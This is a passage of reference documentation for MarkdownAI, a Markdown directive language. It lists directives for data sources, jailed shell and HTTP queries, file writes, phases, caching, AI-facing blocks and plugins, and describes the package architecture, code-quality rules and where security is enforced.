@template ./partial.md data=expr / | Inline a partial MarkdownAI document and bind the expression to {{ data.* }} inside it. Every directive that works in a top-level document works inside the partial. |
@template ./partial.md data=row as=user / | Same, but the bound value is exposed under the chosen name ({{ user.* }}) instead of data. |
@data name ... @data-end | Compose a single object from in-scope values. Body lines are <key> = <expression> assignments or ...<expression> spreads. Dot-notation builds nested objects; later entries override earlier ones. |
Data Sources
| Directive | Description |
|---|---|
@list ./path/ / | List files, directories, or structured data. |
@read ./file.json path="key" / | Read a value from a structured file. |
@read-frontmatter path="doc.md" field="status" / | Read a single YAML field from a document's frontmatter. |
@hash path="doc.md" algo=sha256 length=8 / | Compute a content hash. Supports any Node crypto algorithm and a regex-based line exclude. |
@tree ./path/ depth=N / | Render ASCII directory tree. |
@date format="YYYY-MM-DD" / | Current date/time or file modification date. |
@count ./path/ match="*.ts" / | Count files matching a pattern. |
@connect name type="mongodb" uri=env.VAR / | Register a named database connection. |
@db ... @db-end | Query a database (jailed). Synchronous Mongo worker in v2. Use as=row label=feature for dot-access on results. |
@http ... @http-end | Fetch from an HTTP endpoint (jailed). |
@query "command" / | Run a shell command (jailed). |
Execution
| Directive | Description |
|---|---|
@test command="pnpm test" label=results / | Run the project test suite. Inlines full combined output. Exposes label (full text), label_exit (exit code), label_summary (recognized one-liner). |
@check command="tsc --noEmit" label=tc / | Run typecheck / lint / build. Auto-detects via scripts.typecheck, check, lint, build when command= is omitted. |
Filesystem Writes
All write directives respect filesystem.write_enabled, write_root, allowed_write_paths, and immutable always-block rules.
| Directive | Description |
|---|---|
@touch path="src/foo.ts" / | Idempotent empty-file creation. Safe to re-run. |
@mkdir .mdd/docs / | Create a directory. Recursive by default. |
@copy from="tpl.md" to="doc.md" if-missing / | Copy a file. if-missing makes it idempotent. |
@append-if-missing path=".gitignore" text="dist/" / | Append a line only if not already present. |
@update-frontmatter ... @update-frontmatter-end | Set a YAML field. Supports field[append], field[N], and nested field[N].sub addressing. |
@render-template ... @render-template-end | Render a template with injected parameters and write the result. Idempotent by default; force overwrites. |
Pipeline
| Directive | Description |
|---|---|
source | transform | @render type="format" / | Pipe data through transforms to a renderer. |
@render type="table" columns="a,b" / | Render data in a specific format. |
Phases
| Directive | Description |
|---|---|
@phase name ... @phase-end | Named workflow phase block. |
@on-complete phase-name / | Transition to next phase on completion. Replaces v1 arrow syntax. |
@on-complete @macro-name / | Call a macro on completion. |
Events and Signals
| Directive | Description |
|---|---|
@event <name> with data, transport attributes ... @event-end | Fire a named signal with a payload to one or more transports during rendering. |
Add visible attribute | Also render a blockquote in the document output. |
Caching
| Modifier | Description |
|---|---|
@cache session | Cache in memory for current session. |
@cache ttl=N | Cache for N seconds. |
@cache persist | Cache to disk across restarts. |
@cache mock=./file.json | Always serve from local fixture. |
AI-Native
| Directive | Description |
|---|---|
@prompt <role> ... @prompt-end | Embed AI instructions. Invisible to humans. |
@constraint[severity] <text> / | Machine-readable rule surfaced in structured table for AI readers. Self-closing in v2. |
@note ... @note-end | Source-only comment, never in rendered output. |
@note visible ... @note-end | Renders as a blockquote callout. |
@define-concept term "definition" / | Register a domain term for AI glossary injection. |
@section priority="high" ... @section-end | Section with priority for context budget trimming. |
@chunk-boundary id="name" / | Mark a logical chunk boundary for RAG pipelines. |
Sandbox Builtins
Functions usable inside @if conditions, {{ }} interpolations, and @set bindings. Available in addition to the operators on the Conditionals section.
| Function | Description |
|---|---|
allowed(value, list, opts?) | Returns value when it is in list, otherwise false. Combine with || for a safe default. Pass {ignoreCase: true} as third arg for case-insensitive matching. |
parse_brief(text) | Parse a structured brief block into a field map. |
read_section(path, heading) | Return the body of a section in a markdown file. |
read_markdown_section(path, heading) | Same as read_section with explicit markdown handling. |
extract_paths(text) | Extract file paths from a block of text. |
now_iso() | Current time as an ISO 8601 string. |
now_ms() | Current time as a Unix millisecond timestamp. |
parse_iso_ms(iso) | Parse an ISO 8601 string into a Unix millisecond timestamp. |
uuid_v4() | Generate a UUID v4. |
truncate(text, n) | Truncate a string to n characters. |
to_json(value) | JSON-stringify a value for use in attribute strings. |
Plugin System
Consumer directives for working with registered framework plugins.
| Directive | Description |
|---|---|
@markdownai-detect / | Detect which loaded plugins match the current project. Returns plugin names and summaries. |
@markdownai-detect as=info / | Return full plugin metadata including layout and conventions. |
@markdownai-detect include="layout,conventions" / | Filter which sections to include in the output. |
@markdownai-detect project="./path" / | Detect against a specific project root instead of the current directory. |
@plugin-data name="mdd" / | Return the full descriptor for a named plugin regardless of detection signals. |
@plugin-data name="mdd" include="layout" / | Return specific sections of a plugin's descriptor. |
Plugin File Directives
These directives are only valid inside *.plugin.md files. They define the plugin's identity and structure.
| Directive | Description |
|---|---|
@plugin-meta ... @plugin-meta-end | Plugin identity block. Contains name:, version:, description:, and author: fields. |
@plugin-detect ... @plugin-detect-end | Detection signals block. Declares required_dirs:, required_files:, required_marker:, and optional version_signal: for project matching. |
@plugin-layout ... @plugin-layout-end | Directory layout block. Describes the plugin's expected directory structure as YAML. |
@plugin-conventions ... @plugin-conventions-end | Conventions block. Documents naming rules, file format expectations, and other usage guidance as YAML. |
Architecture
Six packages in an npm workspaces monorepo. TypeScript strict mode throughout. ESM with .js extensions in source imports. Target ES2022, Node >= 18.
| Package | Name | Role |
|---|---|---|
packages/parser | @markdownai/parser | AST production only. Never executes. Pure and inert - safe to run in any environment. |
packages/renderer | @markdownai/renderer | 11 format modules. ASCII output. No external charting libraries, no browser required. |
packages/engine | @markdownai/engine | Execution, env resolution, pipelines, caching, strip. All security enforcement lives here. |
packages/mcp | @markdownai/mcp | MCP server with 11 tools. Phase navigation. Lazy loading. Plugin introspection. Cross-phase session state. |
packages/core | @markdownai/core | The mai binary and all CLI commands. |
packages/vscode | markdownai (VS Code) | Language detection, syntax highlighting, snippets, completions, hover, diagnostics, live preview. |
Code Quality Rules
- No file > 300 lines
- No function > 50 lines
- No
console.login library code - use the logger eval()is never used anywhere -vm.runInNewContextonly- Never spawn child processes from parser - parser is pure AST only
- One directive module per directive:
packages/parser/src/directives/<name>.ts
Security Enforcement Location
All security enforcement happens in the engine, not the parser. The parser is intentionally inert - it produces an AST but never executes anything. This separation means you can parse any document safely in any environment without side effects. Security jails, content masking, and immutable rules all run in the engine layer when directives are actually evaluated.
Cross-Platform Design
Built-in pipe transforms (grep, sort, head, tail, wc -l, uniq) are pure Node.js implementations - no shell spawning. Shell-dependent commands (awk, sed, jq) spawn child processes and are Unix/WSL only. The engine detects platform at startup for shell command availability.